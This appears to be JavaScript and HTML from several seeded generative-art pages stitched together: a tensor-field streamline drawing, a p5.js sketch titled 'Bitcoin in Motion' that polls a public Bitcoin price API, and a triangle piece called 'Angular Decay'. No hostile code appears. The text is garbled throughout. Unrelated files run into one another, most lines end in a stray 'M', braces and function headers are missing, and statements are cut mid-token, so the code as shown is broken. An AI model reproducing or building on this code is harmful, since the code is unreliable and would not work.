,vt=ut(.008,.018),T=ne(0,10,te);for(var r=0;r<1;r++){let R=ut(-w/2,w/2)|0,S=ut(-P/2,P/2)|0,B=ut(-w/2,w/2)|0,N=ut(-P/2,P/2)|0;M[r]=new gt(R,S,"major"),M[r+1]=new gt(B,N,"minor")}for(var l=0,s=0;s<Z;s++){for(var f=0,c=0;c<q;c++){var h=c+s*q,a=(Q(f,l,it)*.5+.5)*Math.PI*2,j,d,y,v;j=(Q(f/3+140,l/3+140,it/3)*.5+.5)*325|0,d=(Q(f/3+40,l/3+40,it/3)*.5+.5)*275|0,y=(Q(f/3+190,l/3+190,it/3)*.5+.5)*325|0,v=J(Q(f/2+250,l/2+250,it/2)*.5+.5,0,1,0,100)|0;var u=J(c,0,q,-w/2,w/2),x=J(s,0,Z,-P/2,P/2),C=[u,x];let R=Math.sqrt(Math.pow(CM
[0],2)+Math.pow(C[1],2));C[0]/=R,C[1]/=R;var I;let S=Math.cos(Math.PI/4),B=Math.sin(Math.PI/4);I=[S,B];let N=Math.sqrt(Math.pow(I[0],2)+Math.pow(I[1],2)),A=Math.atan(I[1]/I[0]),D=[[Math.cos(2*A),Math.sin(2*A)],[Math.sin(2*A),-Math.cos(2*A)]];var b=Ct(D)[0],k=Ct(D)[1];H(b,Nt(D)[0]),H(k,Nt(D)[1]);let _=Math.cos(2*A)*Math.cos(2*A)-Math.sin(2*A)*Math.sin(2*A),V=[[Math.cos(a),-Math.sin(a)],[Math.sin(a),Math.cos(a)]],tt=Math.sqrt(Math.pow(b[0],2)+Math.pow(b[1],2)),et=Math.sqrt(Math.pow(k[0],2)+Math.pow(k[1],2));b[0]=b[0]M
*_/tt,b[1]=b[1]*_/tt,k[0]=k[0]*_/et,k[1]=k[1]*_/et;let nt=Wt(V,b),ot=Wt(V,k);qt[h]=[nt[0],nt[1]],Rt[h]=[ot[0],ot[1]],St[h]=[j,d,y,v],f+=vt}l+=vt,it+=3e-4}for(var s=0;s<F;s+=1)for(var c=0;c<g;c+=1){var h=c+s*g;m[h]=new zt(c,s)}for(var r=0;r<30;r++){let S=U("major");S!==null&&M.push(S);let B=U("minor");B!==null&&M.push(B)}let G=q*Z;window.$generativeTraits={Type:"Tensor Field",Integrator:"RK4",Vectors:G,Format:e},window.requestAnimationFrame(Yt)}function Yt(){window.requestAnimationFrame(Yt),p.clearRect(0,0,w,P),p.fiM
llStyle="#000000",p.fillRect(0,0,w,P),p.save(),p.translate(w/2,P/2);for(var o=0;o<M.length;o++)M[o].follow(qt,Rt),M[o].edges(),M[o].changeCol(St),M[o].display();if(wt=m.filter(n=>n.spot===!0||n.spot2===!0).length,wt<m.length*.9){let n=U("major",0);n!==null&&M.push(n);let e=U("major",1);e!==null&&M.push(e);let t=U("minor",0);t!==null&&M.push(t);let i=U("minor",1);i!==null&&M.push(i);let r=U("major");r!==null&&M.push(r);let l=U("minor");l!==null&&M.push(l)}else if(wt>=m.length*.9&&wt<m.length-m.length/180){let n=0,e=M
Q(n/3+50,It/3+50,Et/3)*.5+.5;if(e<.5){let t=L("major",0,0,g/2|0,F/2|0);t!==null&&M.push(t)}else{let t=L("minor",0,0,g/2|0,F/2|0);t!==null&&M.push(t)}if(e<.5){let t=L("major",0,F-1|0,g/2|0,F/2|0);t!==null&&M.push(t)}else{let t=L("minor",0,F-1|0,g/2|0,F/2|0);t!==null&&M.push(t)}if(e<.5){let t=L("major",g-1|0,F-1|0,g/2|0,F/2|0);t!==null&&M.push(t)}else{let t=L("minor",g-1|0,F-1|0,g/2|0,F/2|0);t!==null&&M.push(t)}if(e<.5){let t=L("major",g-1|0,0,g/2|0,F/2|0);t!==null&&M.push(t)}else{let t=L("minor",g-1|0,0,g/2|0,F/2|0)M
;t!==null&&M.push(t)}n+=.01,It+=vt,Et+=3e-4}p.strokeStyle="#000",p.lineWidth=10,p.strokeRect(-w/2,-P/2,w,P),p.restore()}var zt=class{constructor(n,e){this.i=n,this.j=e,this.spot=null,this.spot2=null,this.index,this.pos=[]}};function gt(o,n,e){this.iniPos=[o,n],this.iniPos2=this.iniPos,this.iniPos3=this.iniPos,this.iniPos4=this.iniPos2,this.fBool=!0,this.fBool2=!0,this.fBool3=!0,this.fBool4=!0,this.obj=e,this.maj1=[],this.min=[],this.maj2=[],this.min2=[],this.col=mathRand()*4|0,this.changeCol=function(t){if(this.colM
===0){var i=this.iniPos[0],r=this.iniPos[1],l=E(i,r,X,q),s=t[l];s&&(p.strokeStyle="rgba("+s[0]+","+s[1]+","+s[2]+","+s[3]+")")}else if(this.col===1){var i=this.iniPos2[0],r=this.iniPos2[1],l=E(i,r,X,q),s=t[l];s&&(p.strokeStyle="rgba("+s[0]+","+s[1]+","+s[2]+","+s[3]+")")}else if(this.col===2){var i=this.iniPos3[0],r=this.iniPos3[1],l=E(i,r,X,q),s=t[l];s&&(p.strokeStyle="rgba("+s[0]+","+s[1]+","+s[2]+","+s[3]+")")}else if(this.col===3){var i=this.iniPos4[0],r=this.iniPos4[1],l=E(i,r,X,q),s=t[l];s&&(p.strokeStyle="rgM
ba("+s[0]+","+s[1]+","+s[2]+","+s[3]+")")}},this.follow=function(t,i){if(this.obj==="major"){if(this.fBool)for(let h=1;h<T.length;h++){var r=E(this.iniPos[0],this.iniPos[1],X,q);if(t[r]){let a=Pt(yt,[this.iniPos[0],this.iniPos[1],t[r][0],t[r][1]],T[h]-T[h-1]);this.maj1.push([a[0],a[1]]),this.iniPos=[a[0],a[1]];var l=E(a[0],a[1],W,g);if(m[l]&&(m[l].pos.push([a[0],a[1]]),m[l].spot=!0,m[l].spot2)){this.fBool=m[l].pos.every(d=>rt([d[0],d[1]],[a[0],a[1]])>0);break}}}if(this.fBool3)for(let h=1;h<T.length;h++){var s=E(thiM
s.iniPos3[0],this.iniPos3[1],X,q);if(t[s]){let a=Pt(yt,[this.iniPos3[0],this.iniPos3[1],t[s][0]*-1,t[s][1]*-1],T[h]-T[h-1]);this.maj2.push([a[0],a[1]]),this.iniPos3=[a[0],a[1]];var l=E(a[0],a[1],W,g);if(m[l]&&(m[l].pos.push([a[0],a[1]]),m[l].spot=!0,m[l].spot2)){this.fBool3=m[l].pos.every(y=>rt([y[0],y[1]],[a[0],a[1]])>0);break}}}}if(this.obj==="minor"){if(this.fBool2)for(let h=1;h<T.length;h++){var f=E(this.iniPos2[0],this.iniPos2[1],X,q);if(i[f]){let a=Pt(yt,[this.iniPos2[0],this.iniPos2[1],i[f][0],i[f][1]],T[h]-M
T[h-1]);this.min.push([a[0],a[1]]),this.iniPos2=[a[0],a[1]];var l=E(a[0],a[1],W,g);if(m[l]&&(m[l].pos.push([a[0],a[1]]),m[l].spot2=!0,m[l].spot)){this.fBool2=m[l].pos.every(y=>rt([y[0],y[1]],[a[0],a[1]])>0);break}}}if(this.fBool4)for(let h=1;h<T.length;h++){var c=E(this.iniPos4[0],this.iniPos4[1],X,q);if(i[c]){let a=Pt(yt,[this.iniPos4[0],this.iniPos4[1],i[c][0]*-1,i[c][1]*-1],T[h]-T[h-1]);this.min2.push([a[0],a[1]]),this.iniPos4=[a[0],a[1]];var l=E(a[0],a[1],W,g);if(m[l]&&(m[l].pos.push([a[0],a[1]]),m[l].spot2=!0,M
m[l].spot)){this.fBool4=m[l].pos.every(y=>rt([y[0],y[1]],[a[0],a[1]])>0);break}}}}},this.display=function(){p.lineWidth=Bt,p.beginPath();let t=this.maj1;for(let s=0;s<t.length;s++)p.lineTo(t[s][0],t[s][1]);p.stroke(),p.closePath(),p.beginPath();let i=this.min;for(let s=0;s<i.length;s++)p.lineTo(i[s][0],i[s][1]);p.stroke(),p.closePath(),p.beginPath();let r=this.maj2;for(let s=0;s<r.length;s++)p.lineTo(r[s][0],r[s][1]);p.stroke(),p.closePath(),p.beginPath();let l=this.min2;for(let s=0;s<l.length;s++)p.lineTo(l[s][0],M
l[s][1]);p.stroke(),p.closePath()},this.edges=function(){(this.iniPos[0]>w/2||this.iniPos[0]<-w/2||this.iniPos[1]>P/2||this.iniPos[1]<-P/2)&&(this.fBool=!1),(this.iniPos2[0]>w/2||this.iniPos2[0]<-w/2||this.iniPos2[1]>P/2||this.iniPos2[1]<-P/2)&&(this.fBool2=!1),(this.iniPos3[0]>w/2||this.iniPos3[0]<-w/2||this.iniPos3[1]>P/2||this.iniPos3[1]<-P/2)&&(this.fBool3=!1),(this.iniPos4[0]>w/2||this.iniPos4[0]<-w/2||this.iniPos4[1]>P/2||this.iniPos4[1]<-P/2)&&(this.fBool4=!1)}}function L(o,n,e,t,i){let r=!1,l=0,s=0,f,c,h=n=M
==0?1:-1,a=e===0?1:-1;var j={"<":function(v,u){return v<u},">":function(v,u){return v>u}};let d,y;n===0?d="<":d=">",e===0?y="<":y=">";t:for(let v=n;j[d](v,t);v+=h)for(let u=e;j[y](u,i);u+=a){let x=v+u*g;if(m[x]&&(!m[x].spot||!m[x].spot2)){if(f=J(v,0,g,-w/2,w/2)|0,c=J(u,0,F,-P/2,P/2)|0,v>0&&u>0&&v<g-1&&u<F-1){let C=[[v,u],[v-1,u-1],[v,u-1],[v+1,u-1],[v-1,u],[v+1,u],[v-1,u+1],[v,u+1],[v+1,u+1]],I=[];for(let b of C){let k=b[0]+b[1]*g;I.push(...m[k].pos)}r=I.every(function(b){return rt([b[0],b[1]],[f,c])>W-1})}if(r)breM
ak t}}return r?new gt(f,c,o):null}function U(o,n){let e=!1,t,i,r,l,s=[];for(;!e;){if(n!==void 0){let a=[];for(let u of M){let x;o==="major"&&n===0?x=u.maj1:o==="major"&&n===1?x=u.maj2:o==="minor"&&n===0?x=u.min:o==="minor"&&n===1&&(x=u.min2),a.push(...x)}let j=mathRand()*(a.length-1)|0,d=a[j],y=a[j+1];if(!s.every(function(u){return u[0][0]!==d[0]&&u[0][1]!==d[1]&&u[1][0]!==y[0]&&u[1][1]!==y[1]}))continue;if(s.push([d,y]),y){let u=y[0]-d[0],x=y[1]-d[1],C=Math.sqrt(u*u+x*x),I=u/C,k=-(x/C),G=I;r=d[0]+k*W|0,l=d[1]+G*W|M
0}else continue}else r=mathRand()*w-w/2|0,l=mathRand()*P-P/2|0;let f=J(r,-w/2,w/2,0,w)/W|0,c=J(l,-P/2,P/2,0,P)/W|0,h=f+c*g;if(!(m[h]&&(m[h].spot||m[h].spot2))&&f>0&&c>0&&f<g-1&&c<F-1){let a=[[f,c],[f-1,c-1],[f,c-1],[f+1,c-1],[f-1,c],[f+1,c],[f-1,c+1],[f,c+1],[f+1,c+1]],j=[];for(let d of a){let y=d[0]+d[1]*g;j.push(...m[y].pos)}e=j.every(function(d){return rt([d[0],d[1]],[r,l])>W-1})}}return new gt(r,l,o)}function Pt(o,n,e){let t=H(o(n),e),i=H(o(O(n,H(t,.5))),e),r=H(o(O(n,H(i,.5))),e),l=H(o(O(n,r)),e);return O(n,ie(M
O(O(O(t,H(i,2)),H(r,2)),l),6))}var yt=function(o){let n=o[0],e=o[1],t=o[2],i=o[3];return[t,i,-i,t]};function E(o,n,e,t){let i=J(o,-w/2,w/2,0,w)/e|0,r=J(n,-P/2,P/2,0,P)/e|0;var l=i+r*t;return l}function rt([o,n],[e,t]){return Math.sqrt(Math.pow(e-o,2)+Math.pow(t-n,2))}var ne=(o,n,e)=>Array.from({length:(n-o)/e+1},(t,i)=>o+i*e);window.onload=function(){ee()};window.addEventListener("keypress",oe,!1);function oe(o){if(o.key==="s"){var n=document.createElement("a");n.download="ordinalstream.png",n.href=$.toDataURL("imaM
ge/png"),n.click()}}function J(o,n,e,t,i){return t+(i-t)*((o-n)/(e-n))}function ut(o,n){let e=mathRand()*(n-o)+o;return parseFloat(e)}function H(o,n){let e=[];for(let t=0;t<o.length;t++)e.push(o[t]*n);return e}function O(o,n){let e=[];for(let t=0;t<o.length;t++)e.push(o[t]+n[t]);return e}function ie(o,n){let e=[];for(let t=0;t<o.length;t++)e.push(o[t]/n);return e}function Wt(o,n){let e=[];for(let t=0;t<o.length;t++){e.push(0);for(let i=0;i<o[t].length;i++)e[t]+=o[t][i]*n[i]}return e}function Ct(o){let n=o[0][0],e=oM
[0][1],t=o[1][0],i=o[1][1],r=(-e+Math.sqrt(e*e-4*n*i))/(2*n),l=(-e-Math.sqrt(e*e-4*n*i))/(2*n),s=1,f=(r-n)/e,c=1,h=(l-n)/e,a=Math.sqrt(s*s+f*f),j=Math.sqrt(c*c+h*h),d=s/a,y=f/a,v=c/j,u=h/j;return[[d,y],[v,u]]}function Nt(o){let n=o[0][0],e=o[0][1],t=o[1][0],i=o[1][1],r=(-e+Math.sqrt(e*e-4*n*i))/(2*n),l=(-e-Math.sqrt(e*e-4*n*i))/(2*n);return[r,l]}})();
    <script id="snippet-random-code" type="text/javascript">
        // DO NOT EDIT THIS SECTION
        let seed = window.location.href.split('/')M
.find(t => t.includes('i0'));
        if (seed == null) {
            const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
            seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
            let pattern = "seed=";
            for (let i = 0; i < seed.length - pattern.length; ++i) {
                if (seed.substring(i, i + pattern.length) == pattern) {
                    seed = sM
eed.substring(i + pattern.length);
                    break;
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
            for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
            return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22M
, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfc32($, _, u, i) {
            return function () {
                u >>>= 0, i >>>= 0;
                var l = ($ >>>= 0) + (_ >>>= 0) | 0;
                return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
let mathRand = sfc32(...cyrb128(seed));
            background-color: #FFFFFF;
            padding: 0;
            margin: 0;
            width: 100%;
            height: 100%;
            overflow: hidden;
            position: absolute;
            /*Can also be `fixed`*/
            left: 0;
            right: 0;
            bottom: 0;
            margin: auto;
            box-shadow: -3px -2px rgba(0, 0, 0, 0.1), 5px 3px 3LOpx rgba(0, 0, 0, 0.2);
text/html;charset=utf-8
    <meta charset="UTF-8">
    <title>Bitcoin in Motion by SMLDMS</title>
    <script sandbox="allow-scripts" type="text/javascript"
        src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script>
    <!-- svgjs@3.1.2
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/svg.js/3.1.2/svg.min.js"></script>
    <script id="snippet-random-code" type="text/javascript">
 NOT EDIT THIS SECTION
        let seed = window.location.href.split('/').find(t => t.includes('i0'));
        if (seed == null) {
            const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
            seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
            let pattern = "seed=";
            for (let i = 0; i < seed.length - pattern.length; ++i) {
if (seed.substring(i, i + pattern.length) == pattern) {
                    seed = seed.substring(i + pattern.length);
                    break;
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
            for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 27160M
            return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfc32($, _, u, i) {
            return function () {
                u >>>= 0, i >>>= 0;
                var l = ($ >>>= 0) + (_ >>>= 0) | 0;
                return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >M
>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
        let mathRand = sfc32(...cyrb128(seed));
            position: fixed;
            right: 0;
            bottom: 0;
            left: 0;
            color: rgb(255, 255, 255);
            background-color: rgb(0, 0, 0);
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 0;
            font-size: 0.8em;
            object-fit: contain;
            max-height: 100%;
            max-width: 100%;
        #fullScreen {
            display: flex;
            position: fixed;
            right: 0;
            bottom: 0;
            left: 0;
            justify-content: center;
            align-items: center;
        #fullScreen canvas {
            object-fit: M
            max-height: 100%;
            max-width: 100%;
    <script type="text/javascript">
        const rand = mathRand();
        let originX, originY;
        let t = rand;
        let u = 0.0;
        let v = 0.0;
        let w = 0.0;
        let move = false;
        let rounder = true;
        ////////////////INFO & FEATURES
        let title = "Bitcoin in Motion";
        let factor = Math.floor(1 + mathRand() * 10)
        function clr(rand) {
            if (rand > 0.75) {
                return 250;
            } else {
                return 0
        function shap(rand) {
            if (rand > 0.75) {
                return ('Ellipse');
            } else {
                return ('Rectangle');
        window.$generativeTraits = {
            "BG Color": clr(rand),
            "Shape": shap(rand),
            "Size Factor ": factor
  console.log(title + " | smldms 2023.02")
        console.log(window.$generativeTraits)
        let a = 0.0;
        let aVel = 0.0;
        let aAcc = 0.01;
        let xoff = 0.0;
        let yoff = 0.0;
        let mapChange = 0;
        let globalData;
        let url = 'https://api.coingecko.com/api/v3/simple/price?ids=bitcoin&vs_currencies=usd&include_market_cap=true&include_24hr_vol=true&include_24hr_change=true&include_last_updated_at=true';
            cnv = createCanvas(windowWidth, windowHeight);
            cnv.parent('fullScreen')
            setInterval(askData, 500);
            background(10);
            rectMode(CENTER);
            imageMode(CENTER);
            textFont('Impact');
            textAlign(CENTER, CENTER);
        function askData() {
            loadJSON(url, gotData);
        function gotData(data) {
            globalData = data;
            setTimeout(askData, 12000);
        function draw() {
            background(clr(rand), 10);
            r = width / 2;
            a += aVel;
            aVel += aAcc;
            aVel = constrain(aVel, 0, mapChange);
            print(aVel)
            xoff += 0.001;
            yoff += 0.002;
            let noiseX = noise(xoff, 0, 1, 0, width);
            let noiseY = noise(yoff, 0, 1, 0, height);
            r = r * noiseX;
            if (move) {
                originX = map(mouseX, 0, width, -width / 2, wM
                originY = map(mouseY, 0, height, -height / 2, height / 2);
            } else {
                originX = map(noiseX, 0, 1, -width / 2, width / 2);
                originY = map(noiseY, 0, 1, -height / 2, height / 2);
            let red = map(noise(frameCount * 0.018), 0, 1, 25, 255);
            let green = map(noise(frameCount * 0.0125), 0, 1, 25, 255);
            let blue = map(noise(frameCount * 0.025), 0, 1, 25, 255);
            let alpha = map(noise(frameM
Count) * 0.0123, 0, 1, 10, 255);
            let x = r * cos(a);
            let y = r * sin(a);
            stroke(red, green, blue, alpha);
            if (globalData) {
                translate(width / 2, height / 2);
                push()
                line(originX, originY, x / 3, y / 3);
                line(originX, originY, y / 2, x / 2);
                line(originX, originY, x, y);
                line(originX, originY, y * 2, x * 2);
                line(x / 3, y / 3, y / 2, x / 2);
                line(x / 3, y / 3, x, y);
                line(x / 3, y / 3, y * 2, x * 2);
                line(y / 2, x / 2, x, y);
                line(y * 2, x * 2, x, y);
                line(y * 2, x * 2, y / 2, x / 2);
                fill(red, green, blue, alpha);
                if (shap(rand) == "Ellipse") {
                    ellipse(originX, originY, 1 * noiseY * factor, 1 * noiseY * factor); //point
                    ellipse(x / 3, y / 3, width / 50 * noiseX * factor); //VERY SMALL
             ellipse(y / 2, x / 2, width / 40 * noiseX * factor); // MIDDLE
                    ellipse(x, y, width / 20 * noiseX * factor); //MAIN
                    ellipse(y * 2, x * 2, width / 30 * noiseX * factor); // EXTERIEUR;
                else {
                    rect(originX, originY, 1 * noiseY, 1 * noiseY * factor); //point
                    rect(x / 3, y / 3, width / 50 * noiseX * factor); //VERY SMALL
                    rect(y / 2, x / 2, width / 40 * noiseX * factor);M
                    rect(x, y, width / 20 * noiseX); //MAIN
                    rect(y * 2, x * 2, width / 30 * noiseX * factor); // EXTERIEUR;
                pop()
                push()
                fill(red, green, blue, alpha);
                btcPrice = round(globalData.bitcoin.usd);
                htrChange = round(globalData.bitcoin.usd_24h_change);
                mapChange = map(Math.abs(htrChange), -25, 25, 0.005, 0.05)
                textSize(width / 20);
               stroke(clr(rand), alpha);
                text(btcPrice + ' $US', originX, originY);
                textSize(width / 60);
                text('BITCOIN PRICE', originX, originY - width / 25);
                textSize(width / 50);
                pop()
            } else {
                push();
                fill(red, green, blue, random(alpha, 255));
                ellipse(width / 2 + sin(frameCount / 50) * width / 5, height / 2 + height / 10, width / 200);
                pop();
             noFill()
                textSize(width / 20);
                text('LOADING', width / 2, height / 2);
                textSize(width / 40);
                text('BITCOIN PRICE', width / 2, height / 2 + height / 18);
                textSize(width / 60);
                text('Press S to save PNG file', width / 2, height / 2 + height / 5);
        function keyTyped() {
            if (keyCode === 83) { // if "s" is pressed
                save(myTitle + '.png');
            else if (keyCode === 32) { // if "x" is pressed
                if (!move) {
                    move = true;
                    document.body.style.cursor = 'none';
                else {
                    move = false;
                    document.body.style.cursor = 'default';
        function windowResized() {
            resizeCanvas(windowWidth, windowHeight);
    <div id="fullScreenLZ">
        <div id="progress">
text/html;charset=utf-8
<meta charset="UTF-8">
<title>Angular Decay</title>
<script id="snippet-random-code" type="text/javascript">
let seed = window.location.href.split('/').find(t => t.includes('i0'));
const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
let pattern = "seed=";
for (let i = 0; i <M
 seed.length - pattern.length; ++i) {
if (seed.substring(i, i + pattern.length) == pattern) {
seed = seed.substring(i + pattern.length);
function cyrb128($) {
let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(lM
 ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
function sfc32($, _, u, i) {
return function () {
var l = ($ >>>= 0) + (_ >>>= 0) | 0;
return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
let mathRand = sfc32(...cyrb128(seed));
<style>body {margin: 0px;} </style>M
<canvas id="target"></canvas>
<script type="text/javascript">
const rand = mathRand();
const rand2 = mathRand();
let sqpix,cp,ratio=0.707,bug=false;
if(rand<0.3){sqpix=0;zoom=false;return"Portrait";}
if(rand<0.6){sqpix=0;ratio=1.414;return"Lanscape";}
if(rand<0.95){sqpix=1;return"Square";}
sqpix=1;bug=1;return"Bugged";}
if(rand<0.07){cp=12;return "Paper";}
if(rand<0.14){cp=1;return "DPM";}
if(rand<0.21){cp=2;return "Fecktarn";}
if(rand<0.41){cp=4;return "Desert Drill";}
if(rand<0.5){cp=5;return "Urban";}
if(rand<0.6){cp=6;return "Navy";}
if(rand<0.7){cp=7;return "German Winter";}
if(rand<0.8){cp=8;return "Tree";}
if(rand<0.85){cp=9;return "Orange";}
if(rand<0.9){cp=10;return "Harris";}
if(rand<0.95){cp=11;return "Market";}
cp=0;return "Saint";}
window.$generativeTraits = {"View": T1(rand),"Pallet": T2(rand2) }
const container = document.createElement("div")
container.innerHTML = "<span>seed: " + seed + "</spM
let resizeTmr=null,aniFrame=null;
let ofw,ofh,sz,rz=1;
let gi=0,gj=0,drp=0,drawtot=2,bmp,artcols=[];
var tricount=0,tr=30;
var tx1=[],ty1=[],tx2=[],ty2=[],tx3=[],ty3=[];
var rx1=[],ry1=[],rx2=[],ry2=[],rx3=[],ry3=[];
const init = async () => {
window.addEventListener('resize', async () => {
clearTimeout(resizeTmr)
resizeTmr = setTimeout(async () => {
await layoutCanvas()
await layoutCanvas()
const layoutCanvas = async () => {
const wWidth=window.innerWidth
const wHeight=window.innerHeight
let cHeight=wHeight;
let cWidth=cHeight*ratio;
if(cWidth>wWidth){cWidth=wWidth;cHeight=cWidth/ratio;}
const canvas=document.getElementById('target')
canvas.width=2000*rz;
canvas.height=(2000*rz)/ratio;
canvas.style.position = 'absolute'
canvas.style.width = `${cWidth}px`
canvas.style.height = `${cHeight}px`
canvas.style.left = `${(wWidth - cWidth) / 2}px`
canvas.style.top = `${(wHeight - cHeight) / 2}pM
const drawCanvas = async () => {
if(!tried) setupart();
if (aniFrame) window.cancelAnimationFrame(aniFrame)
const canvas=document.getElementById('target')
const ctx=canvas.getContext('2d')
{let bx=ofw/500,by=ofh/500;
ctx.globalAlpha=0.05;
for(let f=10;f<30; f++){
for(let i=0;i<500; i++){
drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'#ffffff');
drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'M
if(gj>500) { drp=3; gj=0; }
for(let f=0;f<tc;f++){
if(bug) dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz*sz,ty2[f]*sz, artcols[1], 1*sz);
else dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz,ty2[f]*sz, artcols[1], 1*sz);
dl(ctx, tx2[f]*sz,ty2[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);
dl(ctx, tx1[f]*sz,ty1[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);}
for(let f=0;f<rc;f++){
dl(ctx, rx1[f]*sz,ry1[f]*sz, rx2[f]*sz,ry2[f]*sz, artcols[2], 1*sz);
,ry2[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);
dl(ctx, rx1[f]*sz,ry1[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);}
ctx.fillStyle = artcols[0];
ctx.fillRect(0,0,ofw,ofh);
mathRand = sfc32(...cyrb128(seed));
tc=0;rc=0;tricount=0;tr=30;bmp=0;
triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr));
tricount=1000;tr=rir(10,50);dor=true;bmp=0;
triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr));
aniFrame = window.requestAnimationM
function triharder( x1,y1, x2,y2)
if(tricount>2500) return;
var x3=x1+rir(-tr,tr);
var y3=y1+rir(-tr,tr);
if(x3<0){x3+=tr;bmp++}
if(x3>1000){x3-=tr;bmp++}
if(y3<0){y3+=tr;bmp++}
if(y3>1000/ratio){y3-=tr;bmp++}
if(dor) {rx1[rc]=x1;ry1[rc]=y1;rx2[rc]=x2;ry2[rc]=y2;rx3[rc]=x3;ry3[rc]=y3;rc++; }
else {tx1[tc]=x1;ty1[tc]=y1;tx2[tc]=x2;ty2[tc]=y2;tx3[tc]=x3;ty3[tc]=y3;tc++;}
if(bmp>15){bmp=0; x3=y3=500;x1=rir(500,500+tr);y1=rir(500,500+tr);x2=rir(500,500-tr);y2=rir(500,500-M
triharder(x3,y3, x1,y1);
if(ri(100)>20) triharder(x3,y3, x2,y2);
const autoDownloadCanvas = async () => {
const element = document.createElement('a')
element.setAttribute('download',`Angular-${ofw}x${ofh}-${seed}`)
element.style.display = 'none'
document.body.appendChild(element)
let imageBlob = null
imageBlob = await new Promise(resolve => document.getElementById('target').toBlob(resolve, 'image/png'))
element.setAttribute('href', window.URL.createObjectURL(imageBlob, {
document.body.removeChild(element)
document.addEventListener('keypress', async (e) => {
e = e || window.event
if (e.key === 's') autoDownloadCanvas()
if (e.key === 'h') { rz++;if(rz>5)rz=1;drp=0;gi=0;gj=0;await layoutCanvas() }
function drawEllipse(ctx,x,y,rx,ry,fill) {
ctx.ellipse(x, y, rx, ry, 0, 0, 2 * Math.PI);
if (fill) {ctx.fillStyle = fill;ctx.fill();}
function dl(ctx,lx,ly,ex,ey,stroke,width) {
if (stroke) {ctx.strokeStyle = stroke;}
if (width) {  ctx.linM
ctx.beginPath();ctx.moveTo(lx,ly);ctx.lineTo(ex,ey);ctx.stroke();
if(cp==12)artcols=['#EDECE0','#303030','#880808'];
if(cp==0) artcols=['#F0BEB2','#F25B40','#3A8D3B'];
if(cp==11)artcols=['#4F97BA','#F9E1B5','#BD2C41'];
if(cp==1) artcols=['#25201E','#D3A252','#686C22'];
if(cp==2) artcols=['#B4CBCA','#1F5FB3','#355026'];
if(cp==3) artcols=['#D1C7C5','#6E5247','#8D695D'];
if(cp==4) artcols= ['#E4DBBE','#8BB8B3','#AF799A'];
if(cp==5) artcols= ['#B8B8B3','#474747','M
if(cp==6) artcols= ['#A6B2C7','#323642','#394A69'];
if(cp==7) artcols= ['#E6E6E4','#343523','#B2B2AD'];
if(cp==8) artcols= ['#A9A18E','#706B5C','#606A4D'];
if(cp==9) artcols= ['#EDECE0','#944645','#F25D34'];
